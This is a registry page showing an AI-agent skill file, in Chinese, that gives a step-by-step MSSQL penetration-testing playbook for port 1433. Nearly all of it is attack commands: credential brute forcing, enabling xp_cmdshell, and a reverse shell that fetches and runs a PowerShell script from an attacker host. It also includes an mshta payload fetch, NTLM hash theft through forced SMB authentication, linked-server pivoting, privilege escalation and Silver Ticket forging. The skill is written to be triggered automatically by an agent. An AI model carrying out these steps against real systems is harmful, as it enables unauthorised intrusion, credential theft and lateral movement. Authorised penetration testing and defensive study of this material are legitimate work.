mssql-pentesting

$npx mdskill add wgpsec/AboutSecurity/mssql-pentesting

Execute MSSQL penetration tests on exposed 1433 ports.

  • Automates service discovery, authentication, and privilege escalation.
  • Integrates with impacket, sqsh, and Nmap for reconnaissance.
  • Decides actions based on detected open ports and vulnerability signatures.
  • Outputs detailed reports on command execution and data extraction.

SKILL.md

.github/skills/mssql-pentestingView on GitHub ↗
---
name: mssql-pentesting
description: |
  MSSQL 数据库服务(1433 端口)渗透测试方法论。涵盖 MSSQL 服务发现、默认凭据测试、数据库枚举、xp_cmdshell 命令执行、链接服务器利用、权限提升、NTLM 哈希窃取、已知漏洞利用。
  当 Agent 扫描发现 1433 端口开放、需要测试 MSSQL 认证、通过 xp_cmdshell 执行命令、或利用链接服务器横向移动时,触发此 Skill。
metadata:
  tags: [mssql, 数据库, 1433端口, xp_cmdshell, 链接服务器, impacket, sqsh]
  category: exploit/network-service
---

# MSSQL 渗透测试方法论 (1433)

## 深入参考

- xp_cmdshell 启用/绕过、链接服务器枚举与利用、权限提升 SQL、NTLM 窃取技术、Silver Ticket 伪造 -> 读 [references/mssql-techniques.md](references/mssql-techniques.md)
- SPN 发现、权限模拟提权链、跨域 Linked Server 利用、OLE/Agent Job 替代执行、NTLM 窃取中继 -> 读 [references/mssql-exploitation.md](references/mssql-exploitation.md)

---

## 整体决策树

```
发现 1433 端口开放
├─ Phase 1: 服务发现
│   ├─ Nmap 脚本探测版本与配置
│   ├─ 确定实例名称 (默认 MSSQLSERVER / 命名实例)
│   └─ 判断环境类型
│       ├─ 本地部署 -> 完整攻击面 (OS 命令执行、提权)
│       └─ DBaaS (Azure SQL / RDS) -> 无 xp_cmdshell,侧重数据层
├─ Phase 2: 认证测试
│   ├─ 空密码 sa 账户 / 默认凭据
│   ├─ 密码爆破 (hydra / nxc / MSSQLPwner)
│   └─ Windows 认证 (Pass-the-Hash / Kerberos)
├─ Phase 3: 数据库枚举
│   ├─ 版本、用户、权限、数据库列表
│   ├─ 敏感数据搜索
│   └─ 密码哈希提取
├─ Phase 4: xp_cmdshell 命令执行
│   ├─ 检查/启用 xp_cmdshell
│   ├─ 执行 OS 命令
│   └─ 替代方法 (OLE / Python / CLR / Agent Job)
├─ Phase 5: 链接服务器利用
│   ├─ 枚举链接服务器
│   ├─ 通过链接执行远程查询/命令
│   └─ 链接服务器密码提取
├─ Phase 6: 权限提升
│   ├─ db_owner + TRUSTWORTHY -> sysadmin
│   ├─ IMPERSONATE 权限利用
│   └─ 本地提权 (SeImpersonatePrivilege -> Potato)
└─ Phase 7: NTLM 哈希窃取
    ├─ xp_dirtree / xp_subdirs / xp_fileexist 强制认证
    ├─ Responder / impacket-smbserver 捕获哈希
    └─ Silver Ticket 伪造 (捕获服务账户哈希后)
```

---

## Phase 1: 服务发现

### 1.1 端口与版本探测

```bash
# Nmap MSSQL 全脚本扫描
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

# Metasploit 实例发现
msf> use auxiliary/scanner/mssql/mssql_ping
```

### 1.2 环境判断

```
MSSQL 环境类型
├─ 本地部署 / VM
│   ├─ 完整攻击面: xp_cmdshell、文件读写、注册表、提权
│   └─ 继续 Phase 2-7 全流程
└─ DBaaS (Azure SQL / AWS RDS / GCP Cloud SQL)
    ├─ 无 xp_cmdshell、无 TRUSTWORTHY
    ├─ 侧重: SQL 注入逻辑、IAM 配置错误、数据导出
    └─ 跳过 Phase 4/6 中的 OS 相关攻击
```

---

## Phase 2: 认证测试

### 2.1 认证方式决策树

```
MSSQL 认证测试
├─ 1) 空密码 sa 测试
│   ├─ nmap --script ms-sql-empty-password -p 1433 <IP>
│   └─ nxc mssql <IP> -u sa -p ''
├─ 2) 默认/常见凭据
│   ├─ sa:sa, sa:password, sa:Password1, sa:P@ssw0rd
│   └─ nxc mssql <IP> -u sa -p passwords.txt
├─ 3) 密码爆破 (注意锁定策略!)
│   ├─ hydra -t 4 -l sa -P wordlist.txt <IP> mssql
│   └─ MSSQLPwner: mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
├─ 4) Windows 域认证
│   ├─ mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>
│   └─ nxc mssql <IP> -u <USER> -p <PASS> -d <DOMAIN>
└─ 5) Pass-the-Hash
    └─ nxc mssql <IP> -u <USER> -H <NTHASH> -d <DOMAIN>
```

### 2.2 客户端连接工具

```bash
# Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USER>:<PASS>@<IP>
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USER>:<PASS>@<IP>

# sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
sqsh -S <IP> -U .\<Username> -P <Password> -D <Database>   # 本地认证
```

---

## Phase 3: 数据库枚举

### 3.1 基本信息收集

```sql
-- 版本信息
SELECT @@version;

-- 当前用户
SELECT user_name();
SELECT SYSTEM_USER;

-- 是否 sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- 数据库列表
SELECT name FROM master.dbo.sysdatabases;

-- 表列表
SELECT * FROM <db>.INFORMATION_SCHEMA.TABLES;

-- 用户与登录
SELECT sp.name AS login, sp.type_desc AS login_type, sl.password_hash,
       sp.create_date, sp.modify_date,
       CASE WHEN sp.is_disabled = 1 THEN 'Disabled' ELSE 'Enabled' END AS status
FROM sys.server_principals sp
LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id
WHERE sp.type NOT IN ('G', 'R') ORDER BY sp.name;
```

### 3.2 权限枚举

```sql
-- 当前用户服务器级权限
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

-- 当前用户数据库级权限
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');

-- sysadmin 角色成员
EXEC sp_helpsrvrolemember 'sysadmin';

-- 谁能执行 xp_cmdshell
EXEC sp_helprotect 'xp_cmdshell';
```

### 3.3 密码哈希提取

```sql
-- 获取登录哈希 (需要 sysadmin 或 CONTROL SERVER)
SELECT * FROM master.sys.syslogins;
```

### 3.4 RID 爆破枚举域用户

```bash
# 通过 MSSQL 爆破域 RID 枚举用户
nxc mssql <IP> --local-auth -u <user> -p '<pass>' --rid-brute 5000
nxc mssql <IP> -u <DOMAIN>\\<user> -p '<pass>' --rid-brute 10000
```

-> 读 references/mssql-techniques.md 获取完整枚举查询

---

## Phase 4: xp_cmdshell 命令执行

### 4.1 xp_cmdshell 决策树

```
检查命令执行能力
├─ 1) 直接尝试 xp_cmdshell
│   ├─ EXEC master..xp_cmdshell 'whoami'
│   ├─ 成功 -> 执行命令
│   └─ 失败 -> 尝试启用
├─ 2) 启用 xp_cmdshell (需 sysadmin)
│   ├─ EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
│   ├─ EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
│   └─ 再次执行 EXEC master..xp_cmdshell 'whoami'
├─ 3) xp_cmdshell 被黑名单过滤 -> 变量绕过
│   └─ DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'whoami'
├─ 4) xp_cmdshell 不可用 -> 替代方法
│   ├─ OLE Automation (sp_OACreate + sp_OAMethod)
│   ├─ Python/R 脚本 (sp_execute_external_script)
│   ├─ CLR Assembly (.NET DLL 加载)
│   ├─ SQL Agent Job
│   └─ autoadmin_task_agents (远程 DLL 加载)
└─ 5) 反弹 Shell
    └─ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://<ATTACKER>:8000/rev.ps1") | powershell -noprofile'
```

### 4.2 通过 nxc 远程执行

```bash
# CMD 命令
nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -x "whoami"

# PowerShell 命令
nxc mssql -d <DOMAIN> -u <user> -p <pass> <IP> -X '$PSVersionTable'
```

### 4.3 MSSQLPwner 命令执行

```bash
# 直接执行
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth exec hostname

# 通过链接服务器执行
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# sp_oacreate 方法
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://<ATTACKER>/malicious.hta" -command-execution-method sp_oacreate

# 自定义 CLR Assembly
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
```

-> 读 references/mssql-techniques.md 获取 OLE / Python / CLR / Agent Job 详细方法

---

## Phase 5: 链接服务器利用

### 5.1 链接服务器枚举与利用决策树

```
已获得 MSSQL 访问
├─ 枚举链接服务器
│   ├─ EXEC sp_linkedservers
│   ├─ SELECT * FROM sys.servers
│   └─ MSSQLPwner: enum_links
├─ 发现链接
│   ├─ 检查链接上的权限
│   │   ├─ 链接以 sa 运行 -> 完全控制远程实例
│   │   └─ 低权限 -> 枚举远程数据
│   ├─ 通过链接执行查询
│   │   ├─ SELECT * FROM OPENQUERY([LINKED_SRV], 'SELECT @@version')
│   │   └─ EXEC ('SELECT @@version') AT [LINKED_SRV]
│   ├─ 通过链接启用 xp_cmdshell
│   │   └─ EXEC ('sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT [LINKED_SRV]
│   └─ 链接链跳跃 (A -> B -> C)
│       └─ Metasploit: exploit/windows/mssql/mssql_linkcrawler
└─ 提取链接服务器密码
    ├─ 需要本地管理员权限
    ├─ 启用 DAC (-T7806 启动参数)
    └─ -> 读 references/mssql-techniques.md #链接服务器密码提取
```

---

## Phase 6: 权限提升

### 6.1 权限提升决策树

```
当前非 sysadmin
├─ 检查 db_owner + TRUSTWORTHY
│   ├─ 查找 TRUSTWORTHY 数据库
│   │   SELECT a.name, b.is_trustworthy_on FROM master..sysdatabases a
│   │   INNER JOIN sys.databases b ON a.name=b.name
│   ├─ 确认当前用户是否 db_owner
│   │   USE <db>; SELECT rp.name, mp.name FROM sys.database_role_members drm
│   │   JOIN sys.database_principals rp ON drm.role_principal_id=rp.principal_id
│   │   JOIN sys.database_principals mp ON drm.member_principal_id=mp.principal_id
│   ├─ 是 db_owner + TRUSTWORTHY -> 创建存储过程提权
│   │   └─ CREATE PROCEDURE sp_elevate WITH EXECUTE AS OWNER AS
│   │       EXEC sp_addsrvrolemember '<user>','sysadmin'
│   └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_dbowner
├─ 检查 IMPERSONATE 权限
│   ├─ SELECT b.name FROM sys.server_permissions a
│   │   INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id
│   │   WHERE a.permission_name='IMPERSONATE'
│   ├─ 可模拟 sa -> EXECUTE AS LOGIN = 'sa'
│   └─ Metasploit: auxiliary/admin/mssql/mssql_escalate_execute_as
└─ 已获 sysadmin + OS Shell
    └─ SeImpersonatePrivilege -> Potato 系列提权
        ├─ RoguePotato
        ├─ PrintSpoofer
        └─ JuicyPotato / GodPotato
```

-> 读 references/mssql-techniques.md 获取完整提权 SQL 语句

---

## Phase 7: NTLM 哈希窃取

### 7.1 NTLM 窃取决策树

```
已获得 MSSQL 查询执行权限
├─ 启动监听
│   ├─ sudo responder -I tun0
│   └─ sudo impacket-smbserver share ./ -smb2support
├─ 触发 SMB 认证 (强制目标连接攻击者)
│   ├─ xp_dirtree '\\<ATTACKER>\any\thing'
│   ├─ EXEC master.dbo.xp_dirtree '\\<ATTACKER>\any\thing'
│   ├─ EXEC master..xp_subdirs '\\<ATTACKER>\anything\'
│   ├─ EXEC master..xp_fileexist '\\<ATTACKER>\anything\'
│   └─ MSSQLPwner: mssqlpwner <creds>@<IP> ntlm-relay <ATTACKER>
├─ 捕获 NetNTLMv2 哈希
│   └─ 离线破解: hashcat -m 5600 hash.txt wordlist.txt
└─ Silver Ticket 攻击 (进阶)
    ├─ 从捕获的哈希恢复服务账户密码
    ├─ 计算 NTLM 哈希
    ├─ 获取域 SID + 特权组 RID
    ├─ ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOM> \
    │     -spn MSSQLSvc/<fqdn>:1433 -groups <RID> <user>
    └─ KRB5CCNAME=<user>.ccache mssqlclient.py -no-pass -k <fqdn>
```

### 7.2 权限检查

```sql
-- 检查哪些用户可执行 UNC 路径函数
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```

---

## 文件读写操作

### 读取文件

```sql
-- OPENROWSET 读取文件 (需 ADMINISTER BULK OPERATIONS 权限)
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

-- 检查权限
SELECT * FROM fn_my_permissions(NULL, 'SERVER')
WHERE permission_name='ADMINISTER BULK OPERATIONS'
   OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```

### 写入文件

```
文件写入 (需管理员权限)
├─ 启用 OLE Automation Procedures
│   sp_configure 'show advanced options', 1; RECONFIGURE;
│   sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
└─ 通过 sp_OACreate 创建文件
    └─ -> 读 references/mssql-techniques.md #文件写入
```

---

## 注册表操作

```sql
-- 读取注册表 (需 sysadmin)
EXEC master.sys.xp_regread 'HKEY_LOCAL_MACHINE',
  'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent',
  'WorkingDirectory';

-- 检查权限
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```

---

## Metasploit 模块速查

```
MSSQL Metasploit 模块
├─ 发现: auxiliary/scanner/mssql/mssql_ping
├─ 枚举
│   ├─ admin/mssql/mssql_enum
│   ├─ admin/mssql/mssql_enum_domain_accounts
│   ├─ admin/mssql/mssql_enum_sql_logins
│   ├─ auxiliary/scanner/mssql/mssql_hashdump
│   └─ auxiliary/scanner/mssql/mssql_schemadump
├─ 提权
│   ├─ admin/mssql/mssql_escalate_dbowner
│   ├─ admin/mssql/mssql_escalate_execute_as
│   └─ exploit/windows/mssql/mssql_linkcrawler
├─ 命令执行
│   ├─ admin/mssql/mssql_exec
│   └─ exploit/windows/mssql/mssql_payload
├─ NTLM 窃取: auxiliary/admin/mssql/mssql_ntlm_stealer
└─ 本地认证绕过: windows/manage/mssql_local_auth_bypass
```

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|